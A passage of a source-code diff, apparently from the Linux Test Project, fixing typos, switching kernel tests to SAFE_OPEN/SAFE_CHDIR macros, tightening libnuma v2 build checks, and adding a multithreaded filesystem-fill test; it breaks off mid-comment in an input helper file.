diff --git a/testcases/kernel/controllers/cpuset/cpuset_syscall_test/Makefile b/testcases/kernel/controllers/cpuset/cpuset_syscall_test/Makefile
index 6de1f89..3f5e591 100644
--- a/testcases/kernel/controllers/cpuset/cpuset_syscall_test/Makefile
+++ b/testcases/kernel/controllers/cpuset/cpuset_syscall_test/Makefile
@@ -26,7 +26,6 @@
 include $(abs_srcdir)/../Makefile.inc
 
 LDLIBS                  += $(NUMA_LIBS)
-CPPFLAGS                += $(NUMA_CPPFLAGS)
 
 include $(top_srcdir)/include/mk/generic_leaf_target.mk
 
diff --git a/testcases/kernel/controllers/cpuset/cpuset_syscall_test/cpuset_syscall_test.c b/testcases/kernel/controllers/cpuset/cpuset_syscall_test/cpuset_syscall_test.c
index 371cbc7..e2bc39b 100644
--- a/testcases/kernel/controllers/cpuset/cpuset_syscall_test/cpuset_syscall_test.c
+++ b/testcases/kernel/controllers/cpuset/cpuset_syscall_test/cpuset_syscall_test.c
@@ -51,8 +51,7 @@
 char *TCID = "cpuset_syscall_test";
 int TST_TOTAL = 1;
 
-#if HAVE_NUMA_H && HAVE_LINUX_MEMPOLICY_H && HAVE_NUMAIF_H \
-	&& HAVE_MPOL_CONSTANTS
+#if defined(HAVE_NUMA_V2) && defined(HAVE_LINUX_MEMPOLICY_H)
 
 #include "../cpuset_lib/cpuset.h"
 #include "../cpuset_lib/bitmask.h"
@@ -243,6 +242,6 @@
 #else
 int main(void)
 {
-	tst_brkm(TCONF, NULL, "System doesn't have required mempolicy support");
+	tst_brkm(TCONF, NULL, "test requires libnuma >= 2 and it's development packages");
 }
 #endif
diff --git a/testcases/kernel/controllers/memcg/functional/memcg_lib.sh b/testcases/kernel/controllers/memcg/functional/memcg_lib.sh
index d4724c3..6a6af85 100755
--- a/testcases/kernel/controllers/memcg/functional/memcg_lib.sh
+++ b/testcases/kernel/controllers/memcg/functional/memcg_lib.sh
@@ -78,7 +78,7 @@
 shmmax_setup()
 {
 	shmmax=`cat /proc/sys/kernel/shmmax`
-	if [ $shmmax -lt $HUGEPAGESIZE ]; then
+	if [ $(echo "$shmmax < $HUGEPAGESIZE" |bc) -eq 1 ]; then
 		ROD echo "$HUGEPAGESIZE" \> /proc/sys/kernel/shmmax
 	fi
 }
diff --git a/testcases/kernel/controllers/memcg/functional/memcg_stat_test.sh b/testcases/kernel/controllers/memcg/functional/memcg_stat_test.sh
index 2c47a92..3bfc1da 100755
--- a/testcases/kernel/controllers/memcg/functional/memcg_stat_test.sh
+++ b/testcases/kernel/controllers/memcg/functional/memcg_stat_test.sh
@@ -21,7 +21,7 @@
 ################################################################################
 #
 # File :        memcg_stat_test.sh
-# Description:  Tests memroy.stat.
+# Description:  Tests memory.stat.
 # Author:       Peng Haitao <penght@cn.fujitsu.com>
 # History:      2012/01/16 - Created.
 #
diff --git a/testcases/kernel/controllers/memcg/regression/memcg_test_3.c b/testcases/kernel/controllers/memcg/regression/memcg_test_3.c
index 994d87b..3b25f84 100644
--- a/testcases/kernel/controllers/memcg/regression/memcg_test_3.c
+++ b/testcases/kernel/controllers/memcg/regression/memcg_test_3.c
@@ -112,7 +112,6 @@
 }
 
 static struct tst_test test = {
-	.tid = "memcg_test_3",
 	.needs_root = 1,
 	.needs_tmpdir = 1,
 	.forks_child = 1,
diff --git a/testcases/kernel/device-drivers/agp/kernel_space/tagp.c b/testcases/kernel/device-drivers/agp/kernel_space/tagp.c
index 99e76f1..496c8a7 100644
--- a/testcases/kernel/device-drivers/agp/kernel_space/tagp.c
+++ b/testcases/kernel/device-drivers/agp/kernel_space/tagp.c
@@ -216,7 +216,7 @@
 	case TEST_GENERIC_FREE_GATT_TABLE:
 		rc = test_agp_generic_free_gatt_table();
 		break;
-	case TEST_GENERIC_INSERT_MEMROY:
+	case TEST_GENERIC_INSERT_MEMORY:
 		rc = test_agp_generic_insert_memory();
 		break;
 	case TEST_GENERIC_ALLOC_BY_TYPE:
diff --git a/testcases/kernel/device-drivers/agp/kernel_space/tagp.h b/testcases/kernel/device-drivers/agp/kernel_space/tagp.h
index 3df13dc..b7b6303 100644
--- a/testcases/kernel/device-drivers/agp/kernel_space/tagp.h
+++ b/testcases/kernel/device-drivers/agp/kernel_space/tagp.h
@@ -55,7 +55,7 @@
 #define TEST_NUM_ENTRIES			_IO(MAG_NUM, 12)
 #define TEST_GENERIC_CREATE_GATT_TABLE		_IO(MAG_NUM, 13)
 #define TEST_GENERIC_FREE_GATT_TABLE		_IO(MAG_NUM, 14)
-#define TEST_GENERIC_INSERT_MEMROY		_IO(MAG_NUM, 15)
+#define TEST_GENERIC_INSERT_MEMORY		_IO(MAG_NUM, 15)
 #define TEST_GENERIC_ALLOC_BY_TYPE		_IO(MAG_NUM, 16)
 #define TEST_GENERIC_ALLOC_PAGE			_IO(MAG_NUM, 17)
 #define TEST_ENABLE				_IO(MAG_NUM, 19)
diff --git a/testcases/kernel/device-drivers/agp/user_space/user_tagp.c b/testcases/kernel/device-drivers/agp/user_space/user_tagp.c
index 8d432b7..500067e 100644
--- a/testcases/kernel/device-drivers/agp/user_space/user_tagp.c
+++ b/testcases/kernel/device-drivers/agp/user_space/user_tagp.c
@@ -249,7 +249,7 @@
 		printf("Success on agp_generic_free_gatt_table\n");
 
 	/* make test calls for agp_generic_insert_memory */
-	if (ki_generic(tagp_fd, TEST_GENERIC_INSERT_MEMROY))
+	if (ki_generic(tagp_fd, TEST_GENERIC_INSERT_MEMORY))
 		printf("Fail on agp_generic_insert_memory\n");
 	else
 		printf("Success on agp_generic_insert_memory\n");
diff --git a/testcases/kernel/device-drivers/locking/lock_torture.sh b/testcases/kernel/device-drivers/locking/lock_torture.sh
index 55a23f9..dfa5737 100755
--- a/testcases/kernel/device-drivers/locking/lock_torture.sh
+++ b/testcases/kernel/device-drivers/locking/lock_torture.sh
@@ -17,7 +17,7 @@
 #
 # Author: Alexey Kodanev <alexey.kodanev@oracle.com>
 #
-# This is a wrapper for locktorture kernel module. The test requiers
+# This is a wrapper for locktorture kernel module. The test requires
 # that kernel configured with CONFIG_LOCK_TORTURE_TEST. It runs locktorture
 # module using particular options and then inspects dmesg output for module's
 # test results. For more information, please read Linux Documentation:
diff --git a/testcases/kernel/device-drivers/rcu/rcu_torture.sh b/testcases/kernel/device-drivers/rcu/rcu_torture.sh
index d07ca65..c3739f9 100755
--- a/testcases/kernel/device-drivers/rcu/rcu_torture.sh
+++ b/testcases/kernel/device-drivers/rcu/rcu_torture.sh
@@ -18,7 +18,7 @@
 # Author: Alexey Kodanev <alexey.kodanev@oracle.com>
 #
 # One of the possible ways to test RCU is to use rcutorture kernel module.
-# The test requiers that kernel configured with CONFIG_RCU_TORTURE_TEST.
+# The test requires that kernel configured with CONFIG_RCU_TORTURE_TEST.
 # It runs rcutorture module using particular options and then inspects
 # dmesg output for module's test results.
 # For more information, please read Linux Documentation: RCU/torture.txt
diff --git a/testcases/kernel/device-drivers/rtc/rtc01.c b/testcases/kernel/device-drivers/rtc/rtc01.c
index b3c7e1d..8a1f62e 100644
--- a/testcases/kernel/device-drivers/rtc/rtc01.c
+++ b/testcases/kernel/device-drivers/rtc/rtc01.c
@@ -33,6 +33,7 @@
 #include <time.h>
 
 #include "test.h"
+#include "safe_macros.h"
 
 int rtc_fd = -1;
 char *TCID = "rtc01";
@@ -228,10 +229,7 @@
 	if (access(rtc_dev, F_OK) == -1)
 		tst_brkm(TCONF, NULL, "couldn't find rtc device '%s'", rtc_dev);
 
-	rtc_fd = open(rtc_dev, O_RDONLY);
-
-	if (rtc_fd < 0)
-		tst_brkm(TBROK | TERRNO, NULL, "couldn't open %s", rtc_dev);
+	rtc_fd = SAFE_OPEN(NULL, rtc_dev, O_RDONLY);
 
 	/*Read and alarm tests */
 	read_alarm_test();
diff --git a/testcases/kernel/device-drivers/tbio/tbio_user/tbio.c b/testcases/kernel/device-drivers/tbio/tbio_user/tbio.c
index 4ab6b83..be1420b 100644
--- a/testcases/kernel/device-drivers/tbio/tbio_user/tbio.c
+++ b/testcases/kernel/device-drivers/tbio/tbio_user/tbio.c
@@ -133,11 +133,7 @@
 			tst_brkm(TBROK | TERRNO, cleanup, "mknod() failed");
 	}
 
-	tbio_fd = open(DEVICE_NAME, O_RDWR);
-	if (tbio_fd < 0) {
-		tst_brkm(TBROK | TERRNO, cleanup, "open of %s failed",
-			DEVICE_NAME);
-	}
+	tbio_fd = SAFE_OPEN(cleanup, DEVICE_NAME, O_RDWR);
 
 	tst_resm(TINFO, "Device opened successfully ");
 }
diff --git a/testcases/kernel/fs/fs-bench/modaltr.sh b/testcases/kernel/fs/fs-bench/modaltr.sh
index c4ea745..e44c17f 100755
--- a/testcases/kernel/fs/fs-bench/modaltr.sh
+++ b/testcases/kernel/fs/fs-bench/modaltr.sh
@@ -6,7 +6,7 @@
 # 4.you should have fs-bench utility (http://h2np.net/tools/fs-bench-0.2.tar.gz)
 # 5.results will be copied to /tmp/log and /tmp/log1 files
 
-#DESCRIPTION: This testscript creates a jffs2 file system type and tests the filesytem test
+#DESCRIPTION: This testscript creates a jffs2 file system type and tests the filesystem test
 #and places the log in the log directory.The file system test actually creates a tree of large
 #directories and performs the delete and random delete operations as per the filesystem stress
 #algorithim and gives a report of real time ,user time,system time taken to perform the file
diff --git a/testcases/kernel/fs/fs_fill/.gitignore b/testcases/kernel/fs/fs_fill/.gitignore
new file mode 100644
index 0000000..ebdfb43
--- /dev/null
+++ b/testcases/kernel/fs/fs_fill/.gitignore
@@ -0,0 +1 @@
+fs_fill
diff --git a/testcases/kernel/fs/fs_fill/Makefile b/testcases/kernel/fs/fs_fill/Makefile
new file mode 100644
index 0000000..f0e092b
--- /dev/null
+++ b/testcases/kernel/fs/fs_fill/Makefile
@@ -0,0 +1,22 @@
+# Copyright (c) 2017 Linux Test Project
+#
+# This program is free software; you can redistribute it and/or
+# modify it under the terms of the GNU General Public License as
+# published by the Free Software Foundation; either version 2 of
+# the License, or (at your option) any later version.
+#
+# This program is distributed in the hope that it would be useful,
+# but WITHOUT ANY WARRANTY; without even the implied warranty of
+# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+# GNU General Public License for more details.
+#
+# You should have received a copy of the GNU General Public License
+# along with this program. If not, see <http://www.gnu.org/licenses/>.
+
+top_srcdir              ?= ../../../..
+
+include $(top_srcdir)/include/mk/testcases.mk
+
+CFLAGS += -pthread
+
+include $(top_srcdir)/include/mk/generic_leaf_target.mk
diff --git a/testcases/kernel/fs/fs_fill/fs_fill.c b/testcases/kernel/fs/fs_fill/fs_fill.c
new file mode 100644
index 0000000..bb07ede
--- /dev/null
+++ b/testcases/kernel/fs/fs_fill/fs_fill.c
@@ -0,0 +1,132 @@
+/*
+ * Copyright (c) 2017 Cyril Hrubis <chrubis@suse.cz>
+ *
+ * This program is free software: you can redistribute it and/or modify
+ * it under the terms of the GNU General Public License as published by
+ * the Free Software Foundation, either version 2 of the License, or
+ * (at your option) any later version.
+ *
+ * This program is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+ * GNU General Public License for more details.
+ *
+ * You should have received a copy of the GNU General Public License
+ * along with this program. If not, see <http://www.gnu.org/licenses/>.
+ */
+
+/*
+ * Runs several threads that fills up the filesystem repeatedly.
+ */
+
+#define _GNU_SOURCE
+
+#include <stdio.h>
+#include <stdlib.h>
+#include <errno.h>
+#include <fcntl.h>
+#include <pthread.h>
+#include "tst_safe_pthread.h"
+#include "tst_test.h"
+
+#define MNTPOINT "mntpoint"
+
+static volatile int run;
+static unsigned int nthreads;
+static int enospc_cnt;
+static struct worker *workers;
+
+struct worker {
+	char dir[PATH_MAX];
+};
+
+static void *worker(void *p)
+{
+	struct worker *w = p;
+	DIR *d;
+	struct dirent *ent;
+	char file[PATH_MAX];
+
+	while (run) {
+		tst_fill_fs(w->dir, 0);
+
+		tst_atomic_inc(&enospc_cnt);
+
+		d = SAFE_OPENDIR(w->dir);
+		while ((ent = SAFE_READDIR(d))) {
+
+			if (!strcmp(ent->d_name, ".") ||
+			    !strcmp(ent->d_name, ".."))
+				continue;
+
+			snprintf(file, sizeof(file), "%s/%s",
+				 w->dir, ent->d_name);
+
+			tst_res(TINFO, "Unlinking %s", file);
+
+			SAFE_UNLINK(file);
+			break;
+		}
+		SAFE_CLOSEDIR(d);
+	}
+
+	return NULL;
+}
+
+static void testrun(void)
+{
+	pthread_t threads[nthreads];
+	unsigned int i, ms;
+
+	run = 1;
+	for (i = 0; i < nthreads; i++)
+		SAFE_PTHREAD_CREATE(&threads[i], NULL, worker, &workers[i]);
+
+	for (ms = 0; ; ms++) {
+		usleep(1000);
+
+		if (ms >= 1000 && enospc_cnt)
+			break;
+
+		if (enospc_cnt > 100)
+			break;
+	}
+
+	run = 0;
+	for (i = 0; i < nthreads; i++)
+		SAFE_PTHREAD_JOIN(threads[i], NULL);
+
+	tst_res(TPASS, "Got %i ENOSPC runtime %ims", enospc_cnt, ms);
+}
+
+static void setup(void)
+{
+	unsigned int i;
+
+	nthreads = tst_ncpus_conf() + 2;
+	workers = SAFE_MALLOC(sizeof(struct worker) * nthreads);
+
+	for (i = 0; i < nthreads; i++) {
+		snprintf(workers[i].dir, sizeof(workers[i].dir),
+			 MNTPOINT "/thread%i", i + 1);
+		SAFE_MKDIR(workers[i].dir, 0700);
+	}
+
+	tst_res(TINFO, "Running %i writer threads", nthreads);
+}
+
+static void cleanup(void)
+{
+	free(workers);
+}
+
+static struct tst_test test = {
+	.needs_root = 1,
+	.needs_tmpdir = 1,
+	.mount_device = 1,
+	.mntpoint = MNTPOINT,
+	.all_filesystems = 1,
+	.setup = setup,
+	.cleanup = cleanup,
+	.test_all = testrun,
+};
diff --git a/testcases/kernel/fs/ftest/ftest01.c b/testcases/kernel/fs/ftest/ftest01.c
index 2dfc92a..afad180 100644
--- a/testcases/kernel/fs/ftest/ftest01.c
+++ b/testcases/kernel/fs/ftest/ftest01.c
@@ -59,6 +59,7 @@
 #include <unistd.h>
 #include <inttypes.h>
 #include "test.h"
+#include "safe_macros.h"
 #include "libftest.h"
 
 char *TCID = "ftest01";
@@ -129,8 +130,7 @@
 
 	mkdir(fuss, 0755);
 
-	if (chdir(fuss) < 0)
-		tst_brkm(TBROK | TERRNO, NULL, "chdir failed");
+	SAFE_CHDIR(NULL, fuss);
 
 	/*
 	 * Default values for run conditions.
@@ -159,11 +159,8 @@
 
 		test_name[0] = 'a' + i;
 		test_name[1] = '\0';
-		fd = open(test_name, O_RDWR | O_CREAT | O_TRUNC, 0666);
-
-		if (fd < 0)
-			tst_brkm(TBROK | TERRNO, NULL, "Can't create %s/%s",
-				 fuss, test_name);
+		fd = SAFE_OPEN(NULL, test_name, O_RDWR | O_CREAT | O_TRUNC,
+			       0666);
 
 		if ((child = fork()) == 0) {
 			dotest(nchild, i, fd);
diff --git a/testcases/kernel/fs/ftest/ftest03.c b/testcases/kernel/fs/ftest/ftest03.c
index 9dc47c9..ed69e57 100644
--- a/testcases/kernel/fs/ftest/ftest03.c
+++ b/testcases/kernel/fs/ftest/ftest03.c
@@ -64,6 +64,7 @@
 #include <stdio.h>
 #include <inttypes.h>
 #include "test.h"
+#include "safe_macros.h"
 #include "libftest.h"
 
 char *TCID = "ftest03";
@@ -149,10 +150,7 @@
 
 	mkdir(fuss, 0755);
 
-	if (chdir(fuss) < 0) {
-		tst_brkm(TBROK, NULL, "\tCan't chdir(%s), error %d.", fuss,
-			 errno);
-	}
+	SAFE_CHDIR(NULL, fuss);
 
 	/*
 	 * Default values for run conditions.
@@ -181,13 +179,8 @@
 		test_name[0] = 'a' + i;
 		test_name[1] = '\0';
 
-		fd = open(test_name, O_RDWR | O_CREAT | O_TRUNC, 0666);
-
-		if (fd < 0) {
-			tst_brkm(TBROK, NULL, "\tError %d creating %s/%s.",
-				 errno,
-				 fuss, test_name);
-		}
+		fd = SAFE_OPEN(NULL, test_name, O_RDWR | O_CREAT | O_TRUNC,
+			       0666);
 
 		if ((child = fork()) == 0) {
 			dotest(nchild, i, fd);
diff --git a/testcases/kernel/fs/ftest/ftest04.c b/testcases/kernel/fs/ftest/ftest04.c
index ad26ece..8eed84c 100644
--- a/testcases/kernel/fs/ftest/ftest04.c
+++ b/testcases/kernel/fs/ftest/ftest04.c
@@ -48,6 +48,7 @@
 #include <errno.h>
 #include <signal.h>
 #include "test.h"
+#include "safe_macros.h"
 #include "libftest.h"
 
 char *TCID = "ftest04";
@@ -120,11 +121,7 @@
 		sprintf(filename, "%s/ftest04.%d", getcwd(wdbuf, MAXPATHLEN),
 			getpid());
 
-	fd = open(filename, O_RDWR | O_CREAT | O_TRUNC, 0666);
-	if (fd < 0) {
-		tst_brkm(TBROK, NULL, "Error %d creating file %s", errno,
-			 filename);
-	}
+	fd = SAFE_OPEN(NULL, filename, O_RDWR | O_CREAT | O_TRUNC, 0666);
 	close(fd);
 
 	/*
@@ -151,14 +148,7 @@
 
 	for (i = 0; i < nchild; i++) {
 		if ((child = fork()) == 0) {
-			fd = open(filename, O_RDWR);
-			if (fd < 0) {
-				tst_brkm(TBROK,
-					 NULL,
-					 "\tTest[%d]: error %d openning %s.",
-					 i,
-					 errno, filename);
-			}
+			fd = SAFE_OPEN(NULL, filename, O_RDWR);
 			dotest(nchild, i, fd);
 			close(fd);
 			tst_exit();
diff --git a/testcases/kernel/fs/ftest/ftest05.c b/testcases/kernel/fs/ftest/ftest05.c
index da15c97..0bd32e4 100644
--- a/testcases/kernel/fs/ftest/ftest05.c
+++ b/testcases/kernel/fs/ftest/ftest05.c
@@ -63,6 +63,7 @@
 #include <inttypes.h>
 #include <sys/param.h>
 #include "test.h"
+#include "safe_macros.h"
 #include "libftest.h"
 
 char *TCID = "ftest05";
@@ -137,9 +138,7 @@
 
 	mkdir(fuss, 0755);
 
-	if (chdir(fuss) < 0) {
-		tst_brkm(TBROK | TERRNO, NULL, "\tCan't chdir(%s)", fuss);
-	}
+	SAFE_CHDIR(NULL, fuss);
 
 	/*
 	 * Default values for run conditions.
@@ -167,12 +166,8 @@
 	for (i = 0; i < nchild; i++) {
 		test_name[0] = 'a' + i;
 		test_name[1] = '\0';
-		fd = open(test_name, O_RDWR | O_CREAT | O_TRUNC, 0666);
-
-		if (fd < 0) {
-			tst_brkm(TBROK | TERRNO, NULL,
-				 "\tError creating %s/%s.", fuss, test_name);
-		}
+		fd = SAFE_OPEN(NULL, test_name, O_RDWR | O_CREAT | O_TRUNC,
+			       0666);
 
 		if ((child = fork()) == 0) {
 			dotest(nchild, i, fd);
diff --git a/testcases/kernel/fs/ftest/ftest07.c b/testcases/kernel/fs/ftest/ftest07.c
index 915d015..e5998b5 100644
--- a/testcases/kernel/fs/ftest/ftest07.c
+++ b/testcases/kernel/fs/ftest/ftest07.c
@@ -70,6 +70,7 @@
 #include <unistd.h>
 #include <inttypes.h>
 #include "test.h"
+#include "safe_macros.h"
 #include "libftest.h"
 
 char *TCID = "ftest07";
@@ -152,10 +153,7 @@
 
 	mkdir(fuss, 0755);
 
-	if (chdir(fuss) < 0) {
-		tst_brkm(TBROK, NULL, "\tCan't chdir(%s), error %d.", fuss,
-			 errno);
-	}
+	SAFE_CHDIR(NULL, fuss);
 
 	/*
 	 * Default values for run conditions.
@@ -183,12 +181,8 @@
 	for (i = 0; i < nchild; i++) {
 		test_name[0] = 'a' + i;
 		test_name[1] = '\0';
-		fd = open(test_name, O_RDWR | O_CREAT | O_TRUNC, 0666);
-		if (fd < 0) {
-			tst_brkm(TBROK, NULL, "\tError %d creating %s/%s.",
-				 errno,
-				 fuss, test_name);
-		}
+		fd = SAFE_OPEN(NULL, test_name, O_RDWR | O_CREAT | O_TRUNC,
+			       0666);
 
 		if ((child = fork()) == 0) {
 			dotest(nchild, i, fd);
diff --git a/testcases/kernel/fs/ftest/ftest08.c b/testcases/kernel/fs/ftest/ftest08.c
index 1eec79d..5e46248 100644
--- a/testcases/kernel/fs/ftest/ftest08.c
+++ b/testcases/kernel/fs/ftest/ftest08.c
@@ -55,6 +55,7 @@
 #include <unistd.h>
 #include <inttypes.h>
 #include "test.h"
+#include "safe_macros.h"
 #include "libftest.h"
 
 char *TCID = "ftest08";
@@ -124,12 +125,7 @@
 		sprintf(filename, "%s/ftest08.%d", getcwd(wdbuf, MAXPATHLEN),
 			getpid());
 
-	fd = open(filename, O_RDWR | O_CREAT | O_TRUNC, 0666);
-
-	if (fd < 0) {
-		tst_brkm(TBROK, NULL, "Error %d creating file %s", errno,
-			 filename);
-	}
+	fd = SAFE_OPEN(NULL, filename, O_RDWR | O_CREAT | O_TRUNC, 0666);
 
 	close(fd);
 
diff --git a/testcases/kernel/hotplug/cpu_hotplug/include/cpuhotplug_testsuite.sh b/testcases/kernel/hotplug/cpu_hotplug/include/cpuhotplug_testsuite.sh
index 2d0166c..7dd0eba 100644
--- a/testcases/kernel/hotplug/cpu_hotplug/include/cpuhotplug_testsuite.sh
+++ b/testcases/kernel/hotplug/cpu_hotplug/include/cpuhotplug_testsuite.sh
@@ -74,7 +74,6 @@
 kill_pid()
 {
     PID=$1
-    disown $PID
     kill -9 $PID > /dev/null 2>&1
 }
 
diff --git a/testcases/kernel/hotplug/memory_hotplug/commands.c b/testcases/kernel/hotplug/memory_hotplug/commands.c
index a9c618d..886ee82 100644
--- a/testcases/kernel/hotplug/memory_hotplug/commands.c
+++ b/testcases/kernel/hotplug/memory_hotplug/commands.c
@@ -29,8 +29,11 @@
  */
 
 #include "config.h"
-#if HAVE_NUMA_H && HAVE_NUMAIF_H && HAVE_LINUX_MEMPOLICY_H
-#include <linux/mempolicy.h>
+#if HAVE_NUMA_H
+#include <numa.h>
+#endif
+
+#ifdef HAVE_NUMA_V2
 #include <sys/types.h>
 #include <sys/time.h>
 #include <sys/mman.h>
@@ -59,7 +62,6 @@
 #define MPOL_MF_WAIT    (1<<2)	/* Wait for existing pages to migrate */
 #endif
 
-#if defined(LIBNUMA_API_VERSION) && LIBNUMA_API_VERSION == 2
 static inline int nodemask_isset(nodemask_t * mask, int node)
 {
 	if ((unsigned)node >= NUMA_NUM_NODES)
@@ -75,7 +77,6 @@
 	mask->n[node / (8 * sizeof(unsigned long))] |=
 	    (1UL << (node % (8 * sizeof(unsigned long))));
 }
-#endif
 
 static char *whitespace = " \t";
 
@@ -385,11 +386,7 @@
 	int node, count = 0;
 
 	gcp = &glctx;
-#if defined(LIBNUMA_API_VERSION) && LIBNUMA_API_VERSION == 2
 	my_allowed_nodes = numa_get_membind_compat();
-#else
-	my_allowed_nodes = numa_get_membind();
-#endif
 	while (*args != '\0') {
 		if (!isdigit(*args)) {
 			fprintf(stderr, "%s:  expected digit for <node/list>\n",
@@ -447,11 +444,7 @@
 	int node;
 
 	gcp = &glctx;
-#if defined(LIBNUMA_API_VERSION) && LIBNUMA_API_VERSION == 2
 	my_allowed_nodes = numa_get_membind_compat();
-#else
-	my_allowed_nodes = numa_get_membind();
-#endif
 	for (node = 0; node <= max_node; ++node) {
 		if (nodemask_isset(&my_allowed_nodes, node))
 			*(fromids + nr_nodes++) = node;
diff --git a/testcases/kernel/hotplug/memory_hotplug/memtoy.c b/testcases/kernel/hotplug/memory_hotplug/memtoy.c
index 1a96d91..fe76fb9 100644
--- a/testcases/kernel/hotplug/memory_hotplug/memtoy.c
+++ b/testcases/kernel/hotplug/memory_hotplug/memtoy.c
@@ -23,9 +23,15 @@
  */
 
 #include <stdio.h>
+
 #include "config.h"
-/* Shortcut because the test requires numa and mempolicy support. */
-#if HAVE_NUMA_H && HAVE_NUMAIF_H && HAVE_LINUX_MEMPOLICY_H
+#include "tst_res_flags.h"
+#if HAVE_NUMA_H
+#include <numa.h>
+#endif
+
+#ifdef HAVE_NUMA_V2
+
 #include <sys/types.h>
 #include <sys/time.h>
 #include <sys/mman.h>
@@ -491,10 +497,10 @@
 	return 0;
 
 }
-#else /* ! (HAVE_NUMA_H && HAVE_NUMAIF_H) */
+#else
 int main(void)
 {
-	printf("System doesn't have required numa support.\n");
-	return 0;
+	fprintf(stderr, "test requires libnuma >= 2 and it's development packages\n");
+	return TCONF;
 }
-#endif /* HAVE_NUMA_H && HAVE_NUMAIF_H */
+#endif
diff --git a/testcases/kernel/hotplug/memory_hotplug/segment.c b/testcases/kernel/hotplug/memory_hotplug/segment.c
index 62ccd81..73c718c 100644
--- a/testcases/kernel/hotplug/memory_hotplug/segment.c
+++ b/testcases/kernel/hotplug/memory_hotplug/segment.c
@@ -28,7 +28,12 @@
  */
 
 #include "config.h"
-#if HAVE_NUMA_H && HAVE_NUMAIF_H && HAVE_LINUX_MEMPOLICY_H
+#if HAVE_NUMA_H
+#include <numa.h>
+#endif
+
+#ifdef HAVE_NUMA_V2
+
 #include <sys/types.h>
 #include <sys/ipc.h>
 #include <sys/mman.h>
diff --git a/testcases/kernel/include/lib.mk b/testcases/kernel/include/lib.mk
index 5c97ae2..40a09b7 100644
--- a/testcases/kernel/include/lib.mk
+++ b/testcases/kernel/include/lib.mk
@@ -22,7 +22,7 @@
 KERNEL_DIR		:= $(abs_top_builddir)/testcases/kernel
 LIBKERNTEST_DIR		:= $(KERNEL_DIR)/lib
 LIBKERNTEST		:= $(LIBKERNTEST_DIR)/libkerntest.a
-CPPFLAGS		+= $(NUMA_CPPFLAGS) -I$(KERNEL_SRCDIR)/include
+CPPFLAGS		+= -I$(KERNEL_SRCDIR)/include
 LDLIBS			+= -lkerntest -lltp $(NUMA_LIBS)
 LDFLAGS			+= -L$(LIBKERNTEST_DIR)
 
diff --git a/testcases/kernel/include/numa_helper.h b/testcases/kernel/include/numa_helper.h
index b9d55f0..39cf7aa 100644
--- a/testcases/kernel/include/numa_helper.h
+++ b/testcases/kernel/include/numa_helper.h
@@ -36,4 +36,4 @@
 void nh_dump_nodes(void);
 int is_numa(void (*cleanup_fn)(void), int flag, int min_nodes);
 
-#endif
+#endif /* NUMA_HELPER_H */
diff --git a/testcases/kernel/input/input02.c b/testcases/kernel/input/input02.c
index df3b257..6964ed7 100644
--- a/testcases/kernel/input/input02.c
+++ b/testcases/kernel/input/input02.c
@@ -61,7 +61,7 @@
 		case -1:
 			tst_brkm(TBROK | TERRNO, cleanup, "fork() failed");
 		default:
-			if (no_events_queued(fd2))
+			if (no_events_queued(fd2, 0))
 				tst_resm(TPASS, "No data received in eventX");
 			else
 				tst_resm(TFAIL, "Data received in eventX");
diff --git a/testcases/kernel/input/input04.c b/testcases/kernel/input/input04.c
index 4b16ca7..e57b76b 100644
--- a/testcases/kernel/input/input04.c
+++ b/testcases/kernel/input/input04.c
@@ -57,7 +57,7 @@
 		case -1:
 			tst_brkm(TBROK | TERRNO, cleanup, "fork() failed");
 		default:
-			if (no_events_queued(fd2))
+			if (no_events_queued(fd2, 1))
 				tst_resm(TPASS,
 					"No data received in /dev/inputX");
 			else
diff --git a/testcases/kernel/input/input05.c b/testcases/kernel/input/input05.c
index 5ca01d8..46b4fe8 100644
--- a/testcases/kernel/input/input05.c
+++ b/testcases/kernel/input/input05.c
@@ -63,7 +63,7 @@
 		case -1:
 			tst_brkm(TBROK | TERRNO, cleanup, "fork() failed");
 		default:
-			if (no_events_queued(fd2))
+			if (no_events_queued(fd2, 1))
 				tst_resm(TPASS, "No data received in eventX");
 			else
 				tst_resm(TFAIL, "Data received in eventX");
diff --git a/testcases/kernel/input/input06.c b/testcases/kernel/input/input06.c
index 4c5f1a8..14141b7 100644
--- a/testcases/kernel/input/input06.c
+++ b/testcases/kernel/input/input06.c
@@ -115,11 +115,6 @@
 	return iev->type == event && iev->code == code && iev->value == value;
 }
 
-static int check_event_code(struct input_event *iev, int event, int code)
-{
-	return iev->type == event && iev->code == code;
-}
-
 static void read_events(void)
 {
 	int rd = read(fd2, events, sizeof(events));
@@ -151,11 +146,6 @@
 	return &events[ev_iter++];
 }
 
-static int check_sync_event(void)
-{
-	return check_event_code(next_event(), EV_SYN, SYN_REPORT);
-}
-
 static int parse_autorepeat_config(struct input_event *iev)
 {
 	if (!check_event_code(iev, EV_REP, REP_DELAY)) {
@@ -177,13 +167,13 @@
 {
 	int autorep_count = 0;
 
-	if (!check_event(iev, EV_KEY, KEY_X, 1) || !check_sync_event()) {
+	if (!check_event(iev, EV_KEY, KEY_X, 1) || !check_sync_event(next_event())) {
 		tst_resm(TFAIL, "Didn't get expected key press for KEY_X");
 		return 0;
 	}
 
 	iev = next_event();
-	while (check_event(iev, EV_KEY, KEY_X, 2) && check_sync_event()) {
+	while (check_event(iev, EV_KEY, KEY_X, 2) && check_sync_event(next_event())) {
 		autorep_count++;
 		iev = next_event();
 	}
@@ -195,7 +185,7 @@
 		return 0;
 	}
 
-	if (!check_event(iev, EV_KEY, KEY_X, 0) || !check_sync_event()) {
+	if (!check_event(iev, EV_KEY, KEY_X, 0) || !check_sync_event(next_event())) {
 		tst_resm(TFAIL,
 			 "Didn't get expected key release for KEY_X");
 		return 0;
@@ -210,7 +200,7 @@
 static int check_events(void)
 {
 	struct input_event *iev;
-	int ret;
+	int ret = 0;
 	int rep_config_done = 0;
 	int rep_keys_done = 0;
 
diff --git a/testcases/kernel/input/input_helper.c b/testcases/kernel/input/input_helper.c
index 08fa81c..f6ae9c9 100644
--- a/testcases/kernel/input/input_helper.c
+++ b/testcases/kernel/input/input_helper.c
@@ -229,21 +229,47 @@
 		unload_uinput();
 }
 
-int no_events_queued(int fd)
+int check_event_code(struct input_event *iev, int event, int code)
+{
+	return iev->type == event && iev->code == code;
+}
+
+int check_sync_event(struct input_event *iev)
+{
+	return check_event_code(iev, EV_SYN, SYN_REPORT);
+}
+
+/*
+ * the value of stray_sync_event:
+ * 0: EV_SYN/SYN_REPORT events should not be received in /dev/input/eventX
